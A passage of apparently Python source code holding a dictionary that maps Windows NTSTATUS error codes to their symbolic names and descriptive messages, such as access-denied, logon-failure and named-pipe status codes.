(\"STATUS_IN_PAGE_ERROR\",\"The instruction at 0x%08lx referenced memory at 0x%08lx. The required data was not placed into memory because of an I/O error status of 0x%08lx.\"),\n        0xC0000007: (\"STATUS_PAGEFILE_QUOTA\",\"The page file quota for the process has been exhausted.\"),\n        0xC0000008: (\"STATUS_INVALID_HANDLE\",\"An invalid HANDLE was specified.\"),\n        0xC0000009: (\"STATUS_BAD_INITIAL_STACK\",\"An invalid initial stack was specified in a call to NtCreateThread.\"),\n        0xC000000A: (\"STATUS_BAD_INITIAL_PC\",\"An invalid initial start address was specified in a call to NtCreateThread.\"),\n        0xC000000B: (\"STATUS_INVALID_CID\",\"An invalid client ID was specified.\"),\n        0xC000000C: (\"STATUS_TIMER_NOT_CANCELED\",\"An attempt was made to cancel or set a timer that has an associated APC and the specified thread is not the thread that originally set the timer with an associated APC routine.\"),\n        0xC000000D: (\"STATUS_INVALID_PARAMETER\",\"An invalid parameter was passed to a service or function.\"),\n        0xC000000E: (\"STATUS_NO_SUCH_DEVICE\",\"A device that does not exist was specified.\"),\n        0xC000000F: (\"STATUS_NO_SUCH_FILE\",\"{File Not Found} The file %hs does not exist.\"),\n        0xC0000010: (\"STATUS_INVALID_DEVICE_REQUEST\",\"The specified request is not a valid operation for the target device.\"),\n        0xC0000011: (\"STATUS_END_OF_FILE\",\"The end-of-file marker has been reached. There is no valid data in the file beyond this marker.\"),\n        0xC0000012: (\"STATUS_WRONG_VOLUME\",\"{Wrong Volume} The wrong volume is in the drive. Insert volume %hs into drive %hs.\"),\n        0xC0000013: (\"STATUS_NO_MEDIA_IN_DEVICE\",\"{No Disk} There is no disk in the drive. Insert a disk into drive %hs.\"),\n        0xC0000014: (\"STATUS_UNRECOGNIZED_MEDIA\",\"{Unknown Disk Format} The disk in drive %hs is not formatted properly. Check the disk, and reformat it, if needed.\"),\n        0xC0000015: (\"STATUS_NONEXISTENT_SECTOR\",\"{Sector Not Found} The specified sector does not exist.\"),\n        0xC0000016: (\"STATUS_MORE_PROCESSING_REQUIRED\",\"{Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.\"),\n        0xC0000017: (\"STATUS_NO_MEMORY\",\"{Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation.\"),\n        0xC0000018: (\"STATUS_CONFLICTING_ADDRESSES\",\"{Conflicting Address Range} The specified address range conflicts with the address space.\"),\n        0xC0000019: (\"STATUS_NOT_MAPPED_VIEW\",\"The address range to unmap is not a mapped view.\"),\n        0xC000001A: (\"STATUS_UNABLE_TO_FREE_VM\",\"The virtual memory cannot be freed.\"),\n        0xC000001B: (\"STATUS_UNABLE_TO_DELETE_SECTION\",\"The specified section cannot be deleted.\"),\n        0xC000001C: (\"STATUS_INVALID_SYSTEM_SERVICE\",\"An invalid system service was specified in a system service call.\"),\n        0xC000001D: (\"STATUS_ILLEGAL_INSTRUCTION\",\"{EXCEPTION} Illegal Instruction An attempt was made to execute an illegal instruction.\"),\n        0xC000001E: (\"STATUS_INVALID_LOCK_SEQUENCE\",\"{Invalid Lock Sequence} An attempt was made to execute an invalid lock sequence.\"),\n        0xC000001F: (\"STATUS_INVALID_VIEW_SIZE\",\"{Invalid Mapping} An attempt was made to create a view for a section that is bigger than the section.\"),\n        0xC0000020: (\"STATUS_INVALID_FILE_FOR_SECTION\",\"{Bad File} The attributes of the specified mapping file for a section of memory cannot be read.\"),\n        0xC0000021: (\"STATUS_ALREADY_COMMITTED\",\"{Already Committed} The specified address range is already committed.\"),\n        0xC0000022: (\"STATUS_ACCESS_DENIED\",\"{Access Denied} A process has requested access to an object but has not been granted those access rights.\"),\n        0xC0000023: (\"STATUS_BUFFER_TOO_SMALL\",\"{Buffer Too Small} The buffer is too small to contain the entry. No information has been written to the buffer.\"),\n        0xC0000024: (\"STATUS_OBJECT_TYPE_MISMATCH\",\"{Wrong Type} There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.\"),\n        0xC0000025: (\"STATUS_NONCONTINUABLE_EXCEPTION\",\"{EXCEPTION} Cannot Continue Windows cannot continue from this exception.\"),\n        0xC0000026: (\"STATUS_INVALID_DISPOSITION\",\"An invalid exception disposition was returned by an exception handler.\"),\n        0xC0000027: (\"STATUS_UNWIND\",\"Unwind exception code.\"),\n        0xC0000028: (\"STATUS_BAD_STACK\",\"An invalid or unaligned stack was encountered during an unwind operation.\"),\n        0xC0000029: (\"STATUS_INVALID_UNWIND_TARGET\",\"An invalid unwind target was encountered during an unwind operation.\"),\n        0xC000002A: (\"STATUS_NOT_LOCKED\",\"An attempt was made to unlock a page of memory that was not locked.\"),\n        0xC000002B: (\"STATUS_PARITY_ERROR\",\"A device parity error on an I/O operation.\"),\n        0xC000002C: (\"STATUS_UNABLE_TO_DECOMMIT_VM\",\"An attempt was made to decommit uncommitted virtual memory.\"),\n        0xC000002D: (\"STATUS_NOT_COMMITTED\",\"An attempt was made to change the attributes on memory that has not been committed.\"),\n        0xC000002E: (\"STATUS_INVALID_PORT_ATTRIBUTES\",\"Invalid object attributes specified to NtCreatePort or invalid port attributes specified to NtConnectPort.\"),\n        0xC000002F: (\"STATUS_PORT_MESSAGE_TOO_LONG\",\"The length of the message that was passed to NtRequestPort or NtRequestWaitReplyPort is longer than the maximum message that is allowed by the port.\"),\n        0xC0000030: (\"STATUS_INVALID_PARAMETER_MIX\",\"An invalid combination of parameters was specified.\"),\n        0xC0000031: (\"STATUS_INVALID_QUOTA_LOWER\",\"An attempt was made to lower a quota limit below the current usage.\"),\n        0xC0000032: (\"STATUS_DISK_CORRUPT_ERROR\",\"{Corrupt Disk} The file system structure on the disk is corrupt and unusable. Run the Chkdsk utility on the volume %hs.\"),\n        0xC0000033: (\"STATUS_OBJECT_NAME_INVALID\",\"The object name is invalid.\"),\n        0xC0000034: (\"STATUS_OBJECT_NAME_NOT_FOUND\",\"The object name is not found.\"),\n        0xC0000035: (\"STATUS_OBJECT_NAME_COLLISION\",\"The object name already exists.\"),\n        0xC0000037: (\"STATUS_PORT_DISCONNECTED\",\"An attempt was made to send a message to a disconnected communication port.\"),\n        0xC0000038: (\"STATUS_DEVICE_ALREADY_ATTACHED\",\"An attempt was made to attach to a device that was already attached to another device.\"),\n        0xC0000039: (\"STATUS_OBJECT_PATH_INVALID\",\"The object path component was not a directory object.\"),\n        0xC000003A: (\"STATUS_OBJECT_PATH_NOT_FOUND\",\"{Path Not Found} The path %hs does not exist.\"),\n        0xC000003B: (\"STATUS_OBJECT_PATH_SYNTAX_BAD\",\"The object path component was not a directory object.\"),\n        0xC000003C: (\"STATUS_DATA_OVERRUN\",\"{Data Overrun} A data overrun error occurred.\"),\n        0xC000003D: (\"STATUS_DATA_LATE_ERROR\",\"{Data Late} A data late error occurred.\"),\n        0xC000003E: (\"STATUS_DATA_ERROR\",\"{Data Error} An error occurred in reading or writing data.\"),\n        0xC000003F: (\"STATUS_CRC_ERROR\",\"{Bad CRC} A cyclic redundancy check (CRC) checksum error occurred.\"),\n        0xC0000040: (\"STATUS_SECTION_TOO_BIG\",\"{Section Too Large} The specified section is too big to map the file.\"),\n        0xC0000041: (\"STATUS_PORT_CONNECTION_REFUSED\",\"The NtConnectPort request is refused.\"),\n        0xC0000042: (\"STATUS_INVALID_PORT_HANDLE\",\"The type of port handle is invalid for the operation that is requested.\"),\n        0xC0000043: (\"STATUS_SHARING_VIOLATION\",\"A file cannot be opened because the share access flags are incompatible.\"),\n        0xC0000044: (\"STATUS_QUOTA_EXCEEDED\",\"Insufficient quota exists to complete the operation.\"),\n        0xC0000045: (\"STATUS_INVALID_PAGE_PROTECTION\",\"The specified page protection was not valid.\"),\n        0xC0000046: (\"STATUS_MUTANT_NOT_OWNED\",\"An attempt to release a mutant object was made by a thread that was not the owner of the mutant object.\"),\n        0xC0000047: (\"STATUS_SEMAPHORE_LIMIT_EXCEEDED\",\"An attempt was made to release a semaphore such that its maximum count would have been exceeded.\"),\n        0xC0000048: (\"STATUS_PORT_ALREADY_SET\",\"An attempt was made to set the DebugPort or ExceptionPort of a process, but a port already exists in the process, or an attempt was made to set the CompletionPort of a file but a port was already set in the file, or an attempt was made to set the associated completion port of an ALPC port but it is already set.\"),\n        0xC0000049: (\"STATUS_SECTION_NOT_IMAGE\",\"An attempt was made to query image information on a section that does not map an image.\"),\n        0xC000004A: (\"STATUS_SUSPEND_COUNT_EXCEEDED\",\"An attempt was made to suspend a thread whose suspend count was at its maximum.\"),\n        0xC000004B: (\"STATUS_THREAD_IS_TERMINATING\",\"An attempt was made to suspend a thread that has begun termination.\"),\n        0xC000004C: (\"STATUS_BAD_WORKING_SET_LIMIT\",\"An attempt was made to set the working set limit to an invalid value (for example, the minimum greater than maximum).\"),\n        0xC000004D: (\"STATUS_INCOMPATIBLE_FILE_MAP\",\"A section was created to map a file that is not compatible with an already existing section that maps the same file.\"),\n        0xC000004E: (\"STATUS_SECTION_PROTECTION\",\"A view to a section specifies a protection that is incompatible with the protection of the initial view.\"),\n        0xC000004F: (\"STATUS_EAS_NOT_SUPPORTED\",\"An operation involving EAs failed because the file system does not support EAs.\"),\n        0xC0000050: (\"STATUS_EA_TOO_LARGE\",\"An EA operation failed because the EA set is too large.\"),\n        0xC0000051: (\"STATUS_NONEXISTENT_EA_ENTRY\",\"An EA operation failed because the name or EA index is invalid.\"),\n        0xC0000052: (\"STATUS_NO_EAS_ON_FILE\",\"The file for which EAs were requested has no EAs.\"),\n        0xC0000053: (\"STATUS_EA_CORRUPT_ERROR\",\"The EA is corrupt and cannot be read.\"),\n        0xC0000054: (\"STATUS_FILE_LOCK_CONFLICT\",\"A requested read/write cannot be granted due to a conflicting file lock.\"),\n        0xC0000055: (\"STATUS_LOCK_NOT_GRANTED\",\"A requested file lock cannot be granted due to other existing locks.\"),\n        0xC0000056: (\"STATUS_DELETE_PENDING\",\"A non-close operation has been requested of a file object that has a delete pending.\"),\n        0xC0000057: (\"STATUS_CTL_FILE_NOT_SUPPORTED\",\"An attempt was made to set the control attribute on a file. This attribute is not supported in the destination file system.\"),\n        0xC0000058: (\"STATUS_UNKNOWN_REVISION\",\"Indicates a revision number that was encountered or specified is not one that is known by the service. It may be a more recent revision than the service is aware of.\"),\n        0xC0000059: (\"STATUS_REVISION_MISMATCH\",\"Indicates that two revision levels are incompatible.\"),\n        0xC000005A: (\"STATUS_INVALID_OWNER\",\"Indicates a particular security ID may not be assigned as the owner of an object.\"),\n        0xC000005B: (\"STATUS_INVALID_PRIMARY_GROUP\",\"Indicates a particular security ID may not be assigned as the primary group of an object.\"),\n        0xC000005C: (\"STATUS_NO_IMPERSONATION_TOKEN\",\"An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client.\"),\n        0xC000005D: (\"STATUS_CANT_DISABLE_MANDATORY\",\"A mandatory group may not be disabled.\"),\n        0xC000005E: (\"STATUS_NO_LOGON_SERVERS\",\"No logon servers are currently available to service the logon request.\"),\n        0xC000005F: (\"STATUS_NO_SUCH_LOGON_SESSION\",\"A specified logon session does not exist. It may already have been terminated.\"),\n        0xC0000060: (\"STATUS_NO_SUCH_PRIVILEGE\",\"A specified privilege does not exist.\"),\n        0xC0000061: (\"STATUS_PRIVILEGE_NOT_HELD\",\"A required privilege is not held by the client.\"),\n        0xC0000062: (\"STATUS_INVALID_ACCOUNT_NAME\",\"The name provided is not a properly formed account name.\"),\n        0xC0000063: (\"STATUS_USER_EXISTS\",\"The specified account already exists.\"),\n        0xC0000064: (\"STATUS_NO_SUCH_USER\",\"The specified account does not exist.\"),\n        0xC0000065: (\"STATUS_GROUP_EXISTS\",\"The specified group already exists.\"),\n        0xC0000066: (\"STATUS_NO_SUCH_GROUP\",\"The specified group does not exist.\"),\n        0xC0000067: (\"STATUS_MEMBER_IN_GROUP\",\"The specified user account is already in the specified group account. Also used to indicate a group cannot be deleted because it contains a member.\"),\n        0xC0000068: (\"STATUS_MEMBER_NOT_IN_GROUP\",\"The specified user account is not a member of the specified group account.\"),\n        0xC0000069: (\"STATUS_LAST_ADMIN\",\"Indicates the requested operation would disable or delete the last remaining administration account. This is not allowed to prevent creating a situation in which the system cannot be administrated.\"),\n        0xC000006A: (\"STATUS_WRONG_PASSWORD\",\"When trying to update a password, this return status indicates that the value provided as the current password is not correct.\"),\n        0xC000006B: (\"STATUS_ILL_FORMED_PASSWORD\",\"When trying to update a password, this return status indicates that the value provided for the new password contains values that are not allowed in passwords.\"),\n        0xC000006C: (\"STATUS_PASSWORD_RESTRICTION\",\"When trying to update a password, this status indicates that some password update rule has been violated. For example, the password may not meet length criteria.\"),\n        0xC000006D: (\"STATUS_LOGON_FAILURE\",\"The attempted logon is invalid. This is either due to a bad username or authentication information.\"),\n        0xC000006E: (\"STATUS_ACCOUNT_RESTRICTION\",\"Indicates a referenced user name and authentication information are valid, but some user account restriction has prevented successful authentication (such as time-of-day restrictions).\"),\n        0xC000006F: (\"STATUS_INVALID_LOGON_HOURS\",\"The user account has time restrictions and may not be logged onto at this time.\"),\n        0xC0000070: (\"STATUS_INVALID_WORKSTATION\",\"The user account is restricted so that it may not be used to log on from the source workstation.\"),\n        0xC0000071: (\"STATUS_PASSWORD_EXPIRED\",\"The user account password has expired.\"),\n        0xC0000072: (\"STATUS_ACCOUNT_DISABLED\",\"The referenced account is currently disabled and may not be logged on to.\"),\n        0xC0000073: (\"STATUS_NONE_MAPPED\",\"None of the information to be translated has been translated.\"),\n        0xC0000074: (\"STATUS_TOO_MANY_LUIDS_REQUESTED\",\"The number of LUIDs requested may not be allocated with a single allocation.\"),\n        0xC0000075: (\"STATUS_LUIDS_EXHAUSTED\",\"Indicates there are no more LUIDs to allocate.\"),\n        0xC0000076: (\"STATUS_INVALID_SUB_AUTHORITY\",\"Indicates the sub-authority value is invalid for the particular use.\"),\n        0xC0000077: (\"STATUS_INVALID_ACL\",\"Indicates the ACL structure is not valid.\"),\n        0xC0000078: (\"STATUS_INVALID_SID\",\"Indicates the SID structure is not valid.\"),\n        0xC0000079: (\"STATUS_INVALID_SECURITY_DESCR\",\"Indicates the SECURITY_DESCRIPTOR structure is not valid.\"),\n        0xC000007A: (\"STATUS_PROCEDURE_NOT_FOUND\",\"Indicates the specified procedure address cannot be found in the DLL.\"),\n        0xC000007B: (\"STATUS_INVALID_IMAGE_FORMAT\",\"{Bad Image} %hs is either not designed to run on Windows or it contains an error. Try installing the program again using the original installation media or contact your system administrator or the software vendor for support.\"),\n        0xC000007C: (\"STATUS_NO_TOKEN\",\"An attempt was made to reference a token that does not exist. This is typically done by referencing the token that is associated with a thread when the thread is not impersonating a client.\"),\n        0xC000007D: (\"STATUS_BAD_INHERITANCE_ACL\",\"Indicates that an attempt to build either an inherited ACL or ACE was not successful. This can be caused by a number of things. One of the more probable causes is the replacement of a CreatorId with a SID that did not fit into the ACE or ACL.\"),\n        0xC000007E: (\"STATUS_RANGE_NOT_LOCKED\",\"The range specified in NtUnlockFile was not locked.\"),\n        0xC000007F: (\"STATUS_DISK_FULL\",\"An operation failed because the disk was full.\"),\n        0xC0000080: (\"STATUS_SERVER_DISABLED\",\"The GUID allocation server is disabled at the moment.\"),\n        0xC0000081: (\"STATUS_SERVER_NOT_DISABLED\",\"The GUID allocation server is enabled at the moment.\"),\n        0xC0000082: (\"STATUS_TOO_MANY_GUIDS_REQUESTED\",\"Too many GUIDs were requested from the allocation server at once.\"),\n        0xC0000083: (\"STATUS_GUIDS_EXHAUSTED\",\"The GUIDs could not be allocated because the Authority Agent was exhausted.\"),\n        0xC0000084: (\"STATUS_INVALID_ID_AUTHORITY\",\"The value provided was an invalid value for an identifier authority.\"),\n        0xC0000085: (\"STATUS_AGENTS_EXHAUSTED\",\"No more authority agent values are available for the particular identifier authority value.\"),\n        0xC0000086: (\"STATUS_INVALID_VOLUME_LABEL\",\"An invalid volume label has been specified.\"),\n        0xC0000087: (\"STATUS_SECTION_NOT_EXTENDED\",\"A mapped section could not be extended.\"),\n        0xC0000088: (\"STATUS_NOT_MAPPED_DATA\",\"Specified section to flush does not map a data file.\"),\n        0xC0000089: (\"STATUS_RESOURCE_DATA_NOT_FOUND\",\"Indicates the specified image file did not contain a resource section.\"),\n        0xC000008A: (\"STATUS_RESOURCE_TYPE_NOT_FOUND\",\"Indicates the specified resource type cannot be found in the image file.\"),\n        0xC000008B: (\"STATUS_RESOURCE_NAME_NOT_FOUND\",\"Indicates the specified resource name cannot be found in the image file.\"),\n        0xC000008C: (\"STATUS_ARRAY_BOUNDS_EXCEEDED\",\"{EXCEPTION} Array bounds exceeded.\"),\n        0xC000008D: (\"STATUS_FLOAT_DENORMAL_OPERAND\",\"{EXCEPTION} Floating-point denormal operand.\"),\n        0xC000008E: (\"STATUS_FLOAT_DIVIDE_BY_ZERO\",\"{EXCEPTION} Floating-point division by zero.\"),\n        0xC000008F: (\"STATUS_FLOAT_INEXACT_RESULT\",\"{EXCEPTION} Floating-point inexact result.\"),\n        0xC0000090: (\"STATUS_FLOAT_INVALID_OPERATION\",\"{EXCEPTION} Floating-point invalid operation.\"),\n        0xC0000091: (\"STATUS_FLOAT_OVERFLOW\",\"{EXCEPTION} Floating-point overflow.\"),\n        0xC0000092: (\"STATUS_FLOAT_STACK_CHECK\",\"{EXCEPTION} Floating-point stack check.\"),\n        0xC0000093: (\"STATUS_FLOAT_UNDERFLOW\",\"{EXCEPTION} Floating-point underflow.\"),\n        0xC0000094: (\"STATUS_INTEGER_DIVIDE_BY_ZERO\",\"{EXCEPTION} Integer division by zero.\"),\n        0xC0000095: (\"STATUS_INTEGER_OVERFLOW\",\"{EXCEPTION} Integer overflow.\"),\n        0xC0000096: (\"STATUS_PRIVILEGED_INSTRUCTION\",\"{EXCEPTION} Privileged instruction.\"),\n        0xC0000097: (\"STATUS_TOO_MANY_PAGING_FILES\",\"An attempt was made to install more paging files than the system supports.\"),\n        0xC0000098: (\"STATUS_FILE_INVALID\",\"The volume for a file has been externally altered such that the opened file is no longer valid.\"),\n        0xC0000099: (\"STATUS_ALLOTTED_SPACE_EXCEEDED\",\"When a block of memory is allotted for future updates, such as the memory allocated to hold discretionary access control and primary group information, successive updates may exceed the amount of memory originally allotted. Because a quota may already have been charged to several processes that have handles to the object, it is not reasonable to alter the size of the allocated memory. Instead, a request that requires more memory than has been allotted must fail and the STATUS_ALLOTTED_SPACE_EXCEEDED error returned.\"),\n        0xC000009A: (\"STATUS_INSUFFICIENT_RESOURCES\",\"Insufficient system resources exist to complete the API.\"),\n        0xC000009B: (\"STATUS_DFS_EXIT_PATH_FOUND\",\"An attempt has been made to open a DFS exit path control file.\"),\n        0xC000009C: (\"STATUS_DEVICE_DATA_ERROR\",\"There are bad blocks (sectors) on the hard disk.\"),\n        0xC000009D: (\"STATUS_DEVICE_NOT_CONNECTED\",\"There is bad cabling, non-termination, or the controller is not able to obtain access to the hard disk.\"),\n        0xC000009F: (\"STATUS_FREE_VM_NOT_AT_BASE\",\"Virtual memory cannot be freed because the base address is not the base of the region and a region size of zero was specified.\"),\n        0xC00000A0: (\"STATUS_MEMORY_NOT_ALLOCATED\",\"An attempt was made to free virtual memory that is not allocated.\"),\n        0xC00000A1: (\"STATUS_WORKING_SET_QUOTA\",\"The working set is not big enough to allow the requested pages to be locked.\"),\n        0xC00000A2: (\"STATUS_MEDIA_WRITE_PROTECTED\",\"{Write Protect Error} The disk cannot be written to because it is write-protected. Remove the write protection from the volume %hs in drive %hs.\"),\n        0xC00000A3: (\"STATUS_DEVICE_NOT_READY\",\"{Drive Not Ready} The drive is not ready for use; its door may be open. Check drive %hs and make sure that a disk is inserted and that the drive door is closed.\"),\n        0xC00000A4: (\"STATUS_INVALID_GROUP_ATTRIBUTES\",\"The specified attributes are invalid or are incompatible with the attributes for the group as a whole.\"),\n        0xC00000A5: (\"STATUS_BAD_IMPERSONATION_LEVEL\",\"A specified impersonation level is invalid. Also used to indicate that a required impersonation level was not provided.\"),\n        0xC00000A6: (\"STATUS_CANT_OPEN_ANONYMOUS\",\"An attempt was made to open an anonymous-level token. Anonymous tokens may not be opened.\"),\n        0xC00000A7: (\"STATUS_BAD_VALIDATION_CLASS\",\"The validation information class requested was invalid.\"),\n        0xC00000A8: (\"STATUS_BAD_TOKEN_TYPE\",\"The type of a token object is inappropriate for its attempted use.\"),\n        0xC00000A9: (\"STATUS_BAD_MASTER_BOOT_RECORD\",\"The type of a token object is inappropriate for its attempted use.\"),\n        0xC00000AA: (\"STATUS_INSTRUCTION_MISALIGNMENT\",\"An attempt was made to execute an instruction at an unaligned address and the host system does not support unaligned instruction references.\"),\n        0xC00000AB: (\"STATUS_INSTANCE_NOT_AVAILABLE\",\"The maximum named pipe instance count has been reached.\"),\n        0xC00000AC: (\"STATUS_PIPE_NOT_AVAILABLE\",\"An instance of a named pipe cannot be found in the listening state.\"),\n        0xC00000AD: (\"STATUS_INVALID_PIPE_STATE\",\"The named pipe is not in the connected or closing state.\"),\n        0xC00000AE: (\"STATUS_PIPE_BUSY\",\"The specified pipe is set to complete operations and there are current I/O operations queued so that it cannot be changed to queue operations.\"),\n        0xC00000AF: (\"STATUS_ILLEGAL_FUNCTION\",\"The specified handle is not open to the server end of the named pipe.\"),\n        0xC00000B0: (\"STATUS_PIPE_DISCONNECTED\",\"The specified named pipe is in the disconnected state.\"),\n        0xC00000B1: (\"STATUS_PIPE_CLOSING\",\"The specified named pipe is in the closing state.\"),\n        0xC00000B2: (\"STATUS_PIPE_CONNECTED\",\"The specified named pipe is in the connected state.\"),\n        0xC00000B3: (\"STATUS_PIPE_LISTENING\",\"The specified named pipe is in the listening state.\"),\n        0xC00000B4: (\"STATUS_INVALID_READ_MODE\",\"The specified named pipe is not in message mode.\"),\n        0xC00000B5: (\"STATUS_IO_TIMEOUT\",\"{Device Timeout} The specified I/O operation on %hs was not completed before the time-out period expired.\"),\n        0xC00000B6: (\"STATUS_FILE_FORCED_CLOSED\",\"The specified file has been closed by another process.\"),\n        0xC00000B7: (\"STATUS_PROFILING_NOT_STARTED\",\"Profiling is not started.\"),\n        0xC00000B8: (\"STATUS_PROFILING_NOT_STOPPED\",\"Profiling is not stopped.\"),\n        0xC00000B9: (\"STATUS_COULD_NOT_INTERPRET\",\"The passed ACL did not contain the minimum required information.\"),\n        0xC00000BA: (\"STATUS_FILE_IS_A_DIRECTORY\",\"The file that was specified as a target is a directory, and the caller specified that it could be anything but a directory.\"),\n        0xC00000BB: (\"STATUS_NOT_SUPPORTED\",\"The request is not supported.\"),\n        0xC00000BC: (\"STATUS_REMOTE_NOT_LISTENING\",\"This remote computer is not listening.\"),\n        0xC00000BD: (\"STATUS_DUPLICATE_NAME\",\"A duplicate name exists on the network.\"),\n        0xC00000BE: (\"STATUS_BAD_NETWORK_PATH\",\"The network path cannot be located.\"),\n        0xC00000BF: (\"STATUS_NETWORK_BUSY\",\"The network is busy.\"),\n        0xC00000C0: (\"STATUS_DEVICE_DOES_NOT_EXIST\",\"This device does not exist.\"),\n        0xC00000C1: (\"STATUS_TOO_MANY_COMMANDS\",\"The network BIOS command limit has been reached.\"),\n        0xC00000C2: (\"STATUS_ADAPTER_HARDWARE_ERROR\",\"An I/O adapter hardware error has occurred.\"),\n        0xC00000C3: (\"STATUS_INVALID_NETWORK_RESPONSE\",\"The network responded incorrectly.\"),\n        0xC00000C4: (\"STATUS_UNEXPECTED_NETWORK_ERROR\",\"An unexpected network error occurred.\"),\n        0xC00000C5: (\"STATUS_BAD_REMOTE_ADAPTER\",\"The remote adapter is not compatible.\"),\n        0xC00000C6: (\"STATUS_PRINT_QUEUE_FULL\",\"The print queue is full.\"),\n        0xC00000C7: (\"STATUS_NO_SPOOL_SPACE\",\"Space to store the file that is waiting to be printed is not available on the server.\"),\n        0xC00000C8: (\"STATUS_PRINT_CANCELLED\",\"The requested print file has been canceled.\"),\n        0xC00000C9: (\"STATUS_NETWORK_NAME_DELETED\",\"The network name was deleted.\"),\n        0xC00000CA: (\"STATUS_NETWORK_ACCESS_DENIED\",\"Network access is denied.\"),\n        0xC00000CB: (\"STATUS_BAD_DEVICE_TYPE\",\"{Incorrect Network Resource Type} The specified device type (LPT, for example) conflicts with the actual device type on the remote resource.\"),\n        0xC00000CC: (\"STATUS_BAD_NETWORK_NAME\",\"{Network Name Not Found} The specified share name cannot be found on the remote server.\"),\n        0xC00000CD: (\"STATUS_TOO_MANY_NAMES\",\"The name limit for the network adapter card of the local computer was exceeded.\"),\n        0xC00000CE: (\"STATUS_TOO_MANY_SESSIONS\",\"The network BIOS session limit was exceeded.\"),\n        0xC00000CF: (\"STATUS_SHARING_PAUSED\",\"File sharing has been temporarily paused.\"),\n        0xC00000D0: (\"STATUS_REQUEST_NOT_ACCEPTED\",\"No more connections can be made to this remote computer at this time because the computer has already accepted the maximum number of connections.\"),\n        0xC00000D1: (\"STATUS_REDIRECTOR_PAUSED\",\"Print or disk redirection is temporarily paused.\"),\n        0xC00000D2: (\"STATUS_NET_WRITE_FAULT\",\"A network data fault occurred.\"),\n        0xC00000D3: (\"STATUS_PROFILING_AT_LIMIT\",\"The number of active profiling objects is at the maximum and no more may be started.\"),\n        0xC00000D4: (\"STATUS_NOT_SAME_DEVICE\",\"{Incorrect Volume} The destination file of a rename request is located on a different device than the source of the rename request.\"),\n        0xC00000D5: (\"STATUS_FILE_RENAMED\",\"The specified file has been renamed and thus cannot be modified.\"),\n        0xC00000D6: (\"STATUS_VIRTUAL_CIRCUIT_CLOSED\",\"{Network Request Timeout} The session with a remote server has been disconnected because the time-out interval for a request has expired.\"),\n        0xC00000D7: (\"STATUS_NO_SECURITY_ON_OBJECT\",\"Indicates an attempt was made to operate on the security of an object that does not have security associated with it.\"),\n        0xC00000D8: (\"STATUS_CANT_WAIT\",\"Used to indicate that an operation cannot continue without blocking for I/O.\"),\n        0xC00000D9: (\"STATUS_PIPE_EMPTY\",\"Used to indicate that a read operation was done on an empty pipe.\"),\n        0xC00000DA: (\"STATUS_CANT_ACCESS_DOMAIN_INFO\",\"Configuration information could not be read from the domain controller, either because the machine is unavailable or access has been denied.\"),\n        0xC00000DB: (\"STATUS_CANT_TERMINATE_SELF\",\"Indicates that a thread attempted to terminate itself by default (called NtTerminateThread with NULL) and it was the last thread in the current process.\"),\n        0xC00000DC: (\"STATUS_INVALID_SERVER_STATE\",\"Indicates the Sam Server was in the wrong state to perform the desired operation.\"),\n        0xC00000DD: (\"STATUS_INVALID_DOMAIN_STATE\",\"Indicates the domain was in the wrong state to perform the desired operation.\"),\n        0xC00000DE: (\"STATUS_INVALID_DOMAIN_ROLE\",\"This operation is only allowed for the primary domain controller of the domain.\"),\n        0xC00000DF: (\"STATUS_NO_SUCH_DOMAIN\",\"The specified domain did not exist.\"),\n        0xC00000E0: (\"STATUS_DOMAIN_EXISTS\",\"The specified domain already exists.\"),\n        0xC00000E1: (\"STATUS_DOMAIN_LIMIT_EXCEEDED\",\"An attempt was made to exceed the limit on the number of domains per server for this release.\"),\n        0xC00000E2: (\"STATUS_OPLOCK_NOT_GRANTED\",\"An error status returned when the opportunistic lock (oplock) request is denied.\"),\n        0xC00000E3: (\"STATUS_INVALID_OPLOCK_PROTOCOL\",\"An error status returned when an invalid opportunistic lock (oplock) acknowledgment is received by a file system.\"),\n        0xC00000E4: (\"STATUS_INTERNAL_DB_CORRUPTION\",\"This error indicates that the requested operation cannot be completed due to a catastrophic media failure or an on-disk data structure corruption.\"),\n        0xC00000E5: (\"STATUS_INTERNAL_ERROR\",\"An internal error occurred.\"),\n        0xC00000E6: (\"STATUS_GENERIC_NOT_MAPPED\",\"Indicates generic access types were contained in an access mask which should already be mapped to non-generic access types.\"),\n        0xC00000E7: (\"STATUS_BAD_DESCRIPTOR_FORMAT\",\"Indicates a security descriptor is not in the necessary format (absolute or self-relative).\"),\n        0xC00000E8: (\"STATUS_INVALID_USER_BUFFER\",\"An access to a user buffer failed at an expected point in time. This code is defined because the caller does not want to accept STATUS_ACCESS_VIOLATION in its filter.\"),\n        0xC00000E9: (\"STATUS_UNEXPECTED_IO_ERROR\",\"If an I/O error that is not defined in the standard FsRtl filter is returned, it is converted to the following error, which is guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception.\"),\n        0xC00000EA: (\"STATUS_UNEXPECTED_MM_CREATE_ERR\",\"If an MM error that is not defined in the standard FsRtl filter is returned, it is converted to one of the following errors, which are guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception.\"),\n        0xC00000EB: (\"STATUS_UNEXPECTED_MM_MAP_ERROR\",\"If an MM error that is not defined in the standard FsRtl filter is returned, it is converted to one of the following errors, which are guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception.\"),\n        0xC00000EC: (\"STATUS_UNEXPECTED_MM_EXTEND_ERR\",\"If an MM error that is not defined in the standard FsRtl filter is returned, it is converted to one of the following errors, which are guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception.\"),\n        0xC00000ED: (\"STATUS_NOT_LOGON_PROCESS\",\"The requested action is restricted for use by logon processes only. The calling process has not registered as a logon process.\"),\n        0xC00000EE: (\"STATUS_LOGON_SESSION_EXISTS\",\"An attempt has been made to start a new session manager or LSA logon session by using an ID that is already in use.\"),\n        0xC00000EF: (\"STATUS_INVALID_PARAMETER_1\",\"An invalid parameter was passed to a service or function as the first argument.\"),\n        0xC00000F0: (\"STATUS_INVALID_PARAMETER_2\",\"An invalid parameter was passed to a service or function as the second argument.\"),\n        0xC00000F1: (\"STATUS_INVALID_PARAMETER_3\",\"An invalid parameter was passed to a service or function as the third argument.\"),\n        0xC00000F2: (\"STATUS_INVALID_PARAMETER_4\",\"An invalid parameter was passed to a service or function as the fourth argument.\"),\n        0xC00000F3: (\"STATUS_INVALID_PARAMETER_5\",\"An invalid parameter was passed to a service or function as the fifth argument.\"),\n        